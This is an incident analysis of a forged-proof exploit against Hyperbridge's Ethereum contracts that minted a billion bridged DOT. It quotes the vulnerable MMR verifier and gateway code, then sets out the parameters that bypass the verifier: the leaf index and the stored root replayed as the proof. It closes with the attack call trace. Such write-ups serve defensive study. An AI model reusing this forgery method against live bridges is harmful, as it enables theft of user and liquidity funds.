# Hyperbridge Forged Proof DOT Mint on Ethereum
On April 13, 2026 at 03:55:23 UTC, a helper contract deployed by the attacker used Hyperbridge’s Ethereum-side ISMP message path to deliver a forged governance-style `PostRequest` into `TokenGateway`. The exploit is best classified as an access-control failure at the proof-validation boundary: `HandlerV1` accepted a malicious cross-chain request as authentic, and the downstream gateway treated it as trusted governance. That request reassigned admin rights on the bridged DOT token to the attacker helper, which immediately minted `1,000,000,000` DOT and dumped it through Odos / Uniswap v4 infrastructure for `108.206143512481490001` ETH. Using incident-time market pricing, that is roughly `$237K`, while the on-chain loss is deterministically measured as `108.206143512481490001` ETH.
## Root Cause
### Vulnerable Contract
The primary trust boundary that failed in this transaction is `HandlerV1` at `0x6c84eDd2A018b1fe2Fc93a56066B5C60dA4E6D64`. It is not a proxy, and verified source is available in `src/modules/HandlerV1.sol`.
The privileged sink reached after that failure is `TokenGateway` at `0xFd413e3AFe560182C4471F4d143A96d3e259B6dE`, also verified in `src/modules/TokenGateway.sol`. Once the malicious request crossed the handler boundary, `TokenGateway` executed the `ChangeAssetAdmin` action and handed DOT admin privileges to the attacker helper.
### Vulnerable Function
The proof-validation entrypoint is `handlePostRequests(IIsmpHost host, PostRequestMessage calldata request)` in `src/modules/HandlerV1.sol`. Its runtime selector is `0x9d38eb35`, which matches the expanded ABI signature `handlePostRequests(address,(((uint256,uint256),bytes32[],uint256),((bytes,bytes,uint64,bytes,bytes,uint64,bytes),uint256,uint256)[]))`.
The privileged sink reached from that entrypoint is `handleChangeAssetAdmin(PostRequest calldata request)` in `src/modules/TokenGateway.sol`. It is reached through `onAccept(((bytes,bytes,uint64,bytes,bytes,uint64,bytes),address))` ( `0x0fee32ce`) and ultimately calls `changeAdmin(address)` on the ERC6160 DOT token ( `0x8f283970`).
### Vulnerable Code
The actual root cause is the MMR verifier bug below. The two exact failure points are:
– `leavesForSubtree(…)` excludes a leaf when `leaf_index == subtree boundary`
– `CalculateRoot(…)` then accepts the next proof node as the subtree root even though no leaf hash was incorporated
MMR verifier bug in `MerkleMountainRange`:
“`
function CalculateRoot( bytes32[] memory proof, MmrLeaf[] memory leaves, uint256 leafCount ) internal pure returns (bytes32) { uint256[] memory subtrees = subtreeHeights(leafCount); Iterator memory peakRoots = Iterator(0, new bytes32[](subtrees.length)); Iterator memory proofIter = Iterator(0, proof); uint256 current_subtree; for (uint256 p; p < subtrees.length; ) { uint256 height = subtrees[p]; current_subtree += 2 ** height; MmrLeaf[] memory subtreeLeaves = new MmrLeaf[](0); if (leaves.length > 0) { (subtreeLeaves, leaves) = leavesForSubtree(leaves, current_subtree); } if (subtreeLeaves.length == 0) { push(peakRoots, next(proofIter)); // <– VULNERABILITY: a proof node becomes the peak root even though no leaf hash was checked } else if (subtreeLeaves.length == 1 && height == 0) { push(peakRoots, subtreeLeaves[0].hash); } else { push(peakRoots, CalculateSubtreeRoot(subtreeLeaves, proofIter, height)); } } } function leavesForSubtree( MmrLeaf[] memory leaves, uint256 leafIndex ) internal pure returns (MmrLeaf[] memory, MmrLeaf[] memory) { uint256 p; uint256 length = leaves.length; for (; p < length; p++) { if (leafIndex <= leaves[p].leaf_index) { // <– VULNERABILITY: `==` drops an out-of-range forged leaf at the subtree boundary break; } } … }
“`
`HandlerV1` is the trust boundary that feeds attacker-controlled indices into that buggy verifier:
“`
function handlePostRequests(IIsmpHost host, PostRequestMessage calldata request) external notFrozen(host) { uint256 timestamp = block.timestamp; uint256 delay = timestamp – host.stateMachineCommitmentUpdateTime(request.proof.height); uint256 challengePeriod = host.challengePeriod(); if (challengePeriod != 0 && challengePeriod > delay) revert ChallengePeriodNotElapsed(); uint256 requestsLen = request.requests.length; MmrLeaf[] memory leaves = new MmrLeaf[](requestsLen); for (uint256 i = 0; i < requestsLen; ++i) { PostRequestLeaf memory leaf = request.requests[i]; if (!leaf.request.dest.equals(host.host())) revert InvalidMessageDestination(); if (timestamp >= leaf.request.timeout()) revert MessageTimedOut(); bytes32 commitment = leaf.request.hash(); if (host.requestReceipts(commitment) != address(0)) revert DuplicateMessage(); leaves[i] = MmrLeaf(leaf.kIndex, leaf.index, commitment); // <– untrusted `index` / `kIndex` are copied directly into verifier input } bytes32 root = host.stateMachineCommitment(request.proof.height).overlayRoot; if (root == bytes32(0)) revert StateCommitmentNotFound(); bool valid = MerkleMountainRange.VerifyProof(root, request.proof.multiproof, leaves, request.proof.leafCount); if (!valid) revert InvalidProof(); // <– library bug turns the forged leaf/proof tuple into an accepted request here for (uint256 i = 0; i < requestsLen; ++i) { PostRequestLeaf memory leaf = request.requests[i]; host.dispatchIncoming(leaf.request, _msgSender()); // <– once accepted, the forged request is delivered to privileged downstream modules } }
“`
`TokenGateway` is not where the proof bug lives, but it is the first privileged sink that turns the verifier bypass into protocol compromise:
“`
function handleChangeAssetAdmin(PostRequest calldata request) internal { if (!request.source.equals(IIsmpHost(_params.host).hyperbridge())) revert UnauthorizedAction(); // <– only `request.source == hyperbridge()` is checked here; no additional gateway-instance authentication applies ChangeAssetAdmin memory asset = abi.decode(request.body[1:], (ChangeAssetAdmin)); address erc6160Address = _erc6160s[asset.assetId]; if (asset.newAdmin == address(0)) revert ZeroAddress(); if (erc6160Address == address(0)) revert UnknownAsset(); IERC6160Ext20(erc6160Address).changeAdmin(asset.newAdmin); // <– attacker-controlled admin transfer }
“`
`ERC6160Ext20` is the final privilege-amplification sink: once admin is reassigned, unlimited minting follows immediately.
“`
function changeAdmin(address newAdmin) public { if (!_isRoleAdmin(MINTER_ROLE) || !_isRoleAdmin(BURNER_ROLE)) revert NotRoleAdmin(); delete _rolesAdmin[MINTER_ROLE][_msgSender()]; delete _rolesAdmin[BURNER_ROLE][_msgSender()]; if (newAdmin == address(0)) { return; } _rolesAdmin[MINTER_ROLE][newAdmin] = true; // <– attacker becomes MINTER_ROLE admin _rolesAdmin[BURNER_ROLE][newAdmin] = true; } function mint(address _to, uint256 _amount) public { if (!_isRoleAdmin(MINTER_ROLE) && !hasRole(MINTER_ROLE, _msgSender())) revert PermissionDenied(); super._mint(_to, _amount); // <– newly assigned admin can mint immediately }
“`
### Why It’s Vulnerable
Expected behavior: only an authentic Hyperbridge-governance message, cryptographically bound to a valid remote state commitment, should ever reach `TokenGateway.handleChangeAssetAdmin`. After that, only the legitimate bridge admin should be able to move MINTER/BURNER admin rights on the bridged DOT asset.
Actual behavior: in this transaction, `handlePostRequests` accepted a `PostRequestMessage` whose single leaf decoded to `source = “POLKADOT-3367″`, `dest = “EVM-1″`, `to = 0xFd413e3AFe560182C4471F4d143A96d3e259B6dE`, `action = 0x04` ( `ChangeAssetAdmin`), `assetId = 0x9bd00430e53a5999c7c603cfc04cbdaf68bdbc180f300e4a2067937f57a0534f`, and `newAdmin = 0x31a165a956842ab783098641db25c7a9067ca9ab`. At block `24868295`, `TokenGateway.erc6160(assetId)` resolves that asset ID to DOT at `0x8d010bf9C26881788b4e6bf5Fd1bdC358c8F90b8`. Once the forged request was accepted, `TokenGateway` only checked that `request.source` matched `host.hyperbridge()` and then called `DOT.changeAdmin(attackerHelper)`. Unlike the incoming-asset paths, this governance/admin path is not gated by the `authenticate(request)` modifier that checks a known gateway instance.
Why that matters: `ERC6160Ext20.changeAdmin` makes the new admin an admin of `MINTER_ROLE`, and `mint()` explicitly allows any MINTER admin to mint without a separate grant. The trace proves the exact sequence: `handlePostRequests` succeeded, `dispatchIncoming` invoked `onAccept`, `onAccept` called `changeAdmin`, and the attacker helper then immediately called `mint(address,uint256)` for `1_000_000_000 ether`. In other words, the proof-validation boundary failed open, and the first privileged sink behind it was catastrophic because it transferred mint authority on a live bridged asset.
**Normal flow vs Attack flow**:
StepNormal governance flowAttack flowProof validationA genuine cross-chain governance message is cryptographically bound to a real request commitment and passes The attacker abuses the MMR index bug so the forged leaf is ignored, and the stored Trust boundaryGateway authorizationAsset administrationBridged DOT admin remains under legitimate bridge governance controlDOT admin is reassigned to the attacker helperEconomic outcomeNo unexpected minting; supply changes only through intended bridge-controlled actionsThe attacker helper mints
### How the Forged Request Was Accepted
There are two separate “validity” layers in this exploit, and the report should have spelled both out more explicitly:
1. **Valid to** `HandlerV1`
– The attacker passed the real Ethereum host `0x792A6236AF69787C40cf76B69B4C8c7b28c4Ca20` as the `host` argument.
– `host.frozen()` returned `false`.
– `host.challengePeriod()` returned `0`, so the delay gate was effectively disabled for this path.
– The forged request used `dest = “EVM-1″`, and `host.host()` also returned `”EVM-1″`, so the destination check passed.
– The forged request used `timeoutTimestamp = 0`; in `Message.timeout(…)`, zero means “no timeout”, so the timeout check passed automatically.
– `host.requestReceipts(commitment)` returned `0x0`, so the request was not considered a replay.
– The crucial verifier bug is in the MMR library, not in some hidden off-chain cryptography step. The calldata supplied `proof.height = (3367, 9775932)`, `leafCount = 1`, `index = 1`, `kIndex = 0`, and `multiproof = [0x466dddba7e9a84a0f2632b59be71b8bd489e3334a1314a61253f8b827c9d3a36]`.
– `HandlerV1` converts the forged request into `MmrLeaf(leaf.kIndex, leaf.index, commitment)` and calls `MerkleMountainRange.VerifyProof(…)`.
– For `leafCount = 1`, the MMR code creates a single subtree with boundary `1`. Because `leavesForSubtree(…)` breaks when `leafIndex <= leaves[p].leaf_index`, a forged `leaf.index = 1` causes that only leaf to be excluded from the subtree entirely.
– Once `subtreeLeaves.length == 0`, the library does **not** verify the forged leaf hash. It simply consumes the next proof element and uses that as the peak root. In this transaction, the attacker set `proof[0]` equal to the host’s stored `overlayRoot`, so the computed root trivially matched the expected root.
– In other words, the attacker did not find a real inclusion proof for the forged message. They exploited an index-handling bug so the verifier ignored the message leaf and accepted the stored root itself as the “proof.”
2. **Valid to** `TokenGateway`
– After `HandlerV1` dispatched the request, `TokenGateway.onAccept(…)` decoded the first byte of the body as action `0x04`, i.e. `ChangeAssetAdmin`.
– For this governance/admin path, `TokenGateway` does **not** use the `authenticate(request)` modifier that checks known gateway instances. That stricter check is only used on incoming-asset paths.
– Instead, `handleChangeAssetAdmin(…)` only checks `request.source.equals(IIsmpHost(_params.host).hyperbridge())`.
– The forged request set `source = “POLKADOT-3367″`, and `host.hyperbridge()` returned the same `”POLKADOT-3367″`, so this authorization check also passed.
– The remainder of the body decoded cleanly to `assetId = 0x9bd00430e53a5999c7c603cfc04cbdaf68bdbc180f300e4a2067937f57a0534f` and `newAdmin = 0x31a165a956842ab783098641db25c7a9067ca9ab`, which `TokenGateway` then executed.
So, in concrete terms, the attacker did **not** need to satisfy some hidden admin check, and they did **not** need a cryptographically correct proof of inclusion for the forged request. They only needed to:
– query a height whose `overlayRoot` was already stored on-chain,
– set the forged leaf index so the buggy MMR verifier would ignore the leaf,
– pass the stored `overlayRoot` back as the single proof node, and
– set the message fields so the downstream governance path recognized it as Hyperbridge-originated.
One important limit of the transaction-level evidence: this tx proves **which predicates were satisfied on-chain**, but it does not identify the first party who discovered the bug or every off-chain tool the attacker used. What Ethereum does prove is enough to explain the exploit mechanically: the attacker targeted an already-stored state commitment height and supplied a forged leaf/proof tuple that the buggy verifier accepted because it never actually bound the forged request commitment into the computed root.
## Attack Execution
### High-Level Flow
1. The attacker EOA `0xC513E4f5D7a93A1Dd5B7C4D9f6cC2F52d2F1F8E7` deploys `ExploitMaster` and, from its constructor path, deploys `ExploitHelper`.
2. `ExploitHelper.run()` submits a forged `handlePostRequests(…)` batch to `HandlerV1` using the Hyperbridge host `0x792A6236AF69787C40cf76B69B4C8c7b28c4Ca20` as the host argument.
3. `HandlerV1` accepts the batch, verifies the supplied proof against the stored overlay root, and dispatches the included request into `TokenGateway.onAccept(…)`.
4. `TokenGateway` interprets the first byte of `request.body` as `ChangeAssetAdmin`, decodes the payload, and calls `DOT.changeAdmin(attackerHelper)`.
5. With admin rights now moved to the helper, the helper mints `1,000,000,000` DOT to itself, approves the Odos router, and swaps the entire minted balance through Odos / Uniswap v4 infrastructure.
6. The swap returns `108.206143512481490001` ETH to the helper, which forwards the ETH to `ExploitMaster`, and `ExploitMaster` forwards the ETH to the attacker EOA.
### Detailed Call Trace
The following call flow is derived directly from `trace_callTracer.json`:
01. `0xC513…F8E7`-> `0x518AB393…8f26` via `CREATE`
02. `0x518AB393…8f26`-> `0x31a165a9…a9AB` via `CREATE`
03. `0x518AB393…8f26`-> `0x31a165a9…a9AB` via `CALL` `run()`( `0xc0406226`)
04. `0x31a165a9…a9AB`-> `0x6c84eDd2…6D64` via `CALL` `handlePostRequests(…)`( `0x9d38eb35`)
05. `0x6c84eDd2…6D64`-> `0x792A6236…Ca20` via `STATICCALL` `stateMachineCommitmentUpdateTime((uint256,uint256))`( `0x1a880a93`)
06. `0x6c84eDd2…6D64`-> `0x792A6236…Ca20` via `STATICCALL` `challengePeriod()`( `0xf3f480d9`)
07. `0x6c84eDd2…6D64`-> `0x792A6236…Ca20` via `STATICCALL` `requestReceipts(bytes32)`( `0x19667a3e`)
08. `0x6c84eDd2…6D64`-> `0x792A6236…Ca20` via `STATICCALL` `stateMachineCommitment((uint256,uint256))`( `0xa70a8c47`)
09. `0x6c84eDd2…6D64`-> `0x792A6236…Ca20` via `CALL` `dispatchIncoming((bytes,bytes,uint64,bytes,bytes,uint64,bytes),address)`( `0xb85e6fbb`)
10. `0x792A6236…Ca20`-> `0xFd413e3A…B6dE` via `CALL` `onAccept(((bytes,bytes,uint64,bytes,bytes,uint64,bytes),address))`( `0x0fee32ce`)
11. `0xFd413e3A…B6dE`-> `0x792A6236…Ca20` via `STATICCALL` `hyperbridge()`( `0x005e763e`)
12. `0xFd413e3A…B6dE`-> `0x8d010bf9…90b8` via `CALL` `changeAdmin(address)`( `0x8f283970`)
13. `0x31a165a9…a9AB`-> `0x8d010bf9…90b8` via `CALL` `mint(address,uint256)`( `0x40c10f19`)
14. `0x31a165a9…a9AB`-> `0x8d010bf9…90b8` via `CALL` `approve(address,uint256)`( `0x095ea7b3`)
15. `0x31a165a9…a9AB`-> `0x0D05A7d3…0D05` via `CALL` `swap((address,uint256,address,address,uint256,uint256,address),bytes,address,(uint64,uint64,address))`( `0x30f80b4c`)
16. `0x0D05A7d3…0D05`-> `0x365084b0…b5b8` via `CALL` `executePath(bytes,uint256[],address)`( `0xcb70e273`)
17. `0x365084b0…b5b8`-> `0x000000000004444c5dc75cb358380d2e3de08a90` via `CALL` `unlock(bytes)`( `0x48c89491`)
18. `0x000000000004444c5dc75cb358380d2e3de08a90`-> `0x365084b0…b5b8` via `CALL` `unlockCallback(bytes)`( `0x91dd7346`)
19. `0x365084b0…b5b8`-> `0x1c4404A6…76ff` via `DELEGATECALL` `unlockCallback(bytes)`( `0x91dd7346`)
20. Downstream Uniswap v4 pool-manager calls execute `swap`, `take`, `sync`, `transfer`, and `settle`, then ETH is paid back to the helper.
21. `0x31a165a9…a9AB`-> `0x518AB393…8f26` via plain ETH `CALL`( `108.206143512481490001` ETH)
22. `0x518AB393…8f26`-> `0xC513…F8E7` via plain ETH `CALL`( `108.206143512481490001` ETH)
## Financial Impact
The deterministic on-chain profit is `108.206143512481490001` ETH, as computed in `funds_flow.json`. The helper minted exactly `1,000,000,000` DOT ( `1e27` raw units with 18 decimals), approved the Odos router, and routed the full amount into swap liquidity. Receipt logs show three DOT `Transfer` events: mint to the helper, helper to the swap executor, and executor into the Uniswap v4 pool manager path.
The immediate economic loss fell on liquidity counterparties in the Odos / Uniswap v4 route that bought attacker-minted DOT for ETH. Separately, Hyperbridge lost control over the Ethereum-side bridged DOT asset, whose integrity depends on trusted bridge administration. The DOT token’s total supply rose from `356,466.04153486015` to `1,000,356,466.0415348`, so the attacker minted roughly `2805.3x` the pre-attack supply before selling.
After gas, the attacker still cleared approximately `108.20580483152307` ETH. The direct gas cost for the exploit transaction was only `0.000338680958418962` ETH. Even if the protocol remained online for other assets, the DOT bridge instance was no longer trustworthy once admin and mint authority moved to the attacker helper.
## Evidence
– `receipt.json` shows `status = 0x1` and `8` logs for the exploit transaction.
– The `handlePostRequests(…)` calldata decodes to host `0x792A6236AF69787C40cf76B69B4C8c7b28c4Ca20`, proof height `(3367, 9775932)`, and a single request whose `body` begins with `0x04`, the `ChangeAssetAdmin` action.
– Decoding that body yields `assetId = 0x9bd00430e53a5999c7c603cfc04cbdaf68bdbc180f300e4a2067937f57a0534f` and `newAdmin = 0x31a165a956842ab783098641db25c7a9067ca9ab`; at block `24868295`, `TokenGateway.erc6160(assetId)` returns DOT at `0x8d010bf9C26881788b4e6bf5Fd1bdC358c8F90b8`.
– The Hyperbridge host returns the bytes string `POLKADOT-3367` from `hyperbridge()`, matching the forged request’s `source` field.
– Receipt log `0` from `TokenGateway` uses topic `0x82e0cebbbfcea0d10cf649041c20143e863ed85b7e3427ac67cf58dd502426ee`, which is `AssetAdminChanged(address,address)`.
– Receipt log `2` is the DOT `Transfer` mint from `0x0` to the helper for `1_000_000_000` DOT; log `3` is the DOT `Approval` for the Odos router.
– `trace_prestateTracer.json` shows DOT total supply storage slot `0x3` moving from `356,466.04153486015` tokens to `1,000,356,466.0415348`, exactly a `1,000,000,000` DOT increase.
– Selector checks used in this report: `run()`-> `0xc0406226`, `handlePostRequests(address,(((uint256,uint256),bytes32[],uint256),((bytes,bytes,uint64,bytes,bytes,uint64,bytes),uint256,uint256)[]))`-> `0x9d38eb35`, `dispatchIncoming((bytes,bytes,uint64,bytes,bytes,uint64,bytes),address)`-> `0xb85e6fbb`, `onAccept(((bytes,bytes,uint64,bytes,bytes,uint64,bytes),address))`-> `0x0fee32ce`, `changeAdmin(address)`-> `0x8f283970`, `mint(address,uint256)`-> `0x40c10f19`, and Odos `swap((address,uint256,address,address,uint256,uint256,address),bytes,address,(uint64,uint64,address))`-> `0x30f80b4c`.
## Related URLs
– Exploit transaction: https://etherscan.io/tx/0x240aeb9a8b2aabf64ed8e1e480d3e7be140cf530dc1e5606cb16671029401109
– Attacker EOA: https://etherscan.io/address/0xC513E4f5D7a93A1Dd5B7C4D9f6cC2F52d2F1F8E7
– ExploitMaster: https://etherscan.io/address/0x518AB393c3F42613D010b54A9dcBe211E3d48f26
– ExploitHelper: https://etherscan.io/address/0x31a165a956842aB783098641dB25C7a9067ca9AB
– HandlerV1: https://etherscan.io/address/0x6c84eDd2A018b1fe2Fc93a56066B5C60dA4E6D64
– TokenGateway: https://etherscan.io/address/0xFd413e3AFe560182C4471F4d143A96d3e259B6dE
– Ethereum Host: https://etherscan.io/address/0x792a6236af69787c40cf76b69b4c8c7b28c4ca20
– DOT token: https://etherscan.io/address/0x8d010bf9C26881788b4e6bf5Fd1bdC358c8F90b8
– Odos Router: https://etherscan.io/address/0x0d05a7d3448512b78fa8a9e46c4872c88c4a0d05
– Uniswap v4 PoolManager: https://etherscan.io/address/0x000000000004444c5dc75cb358380d2e3de08a90
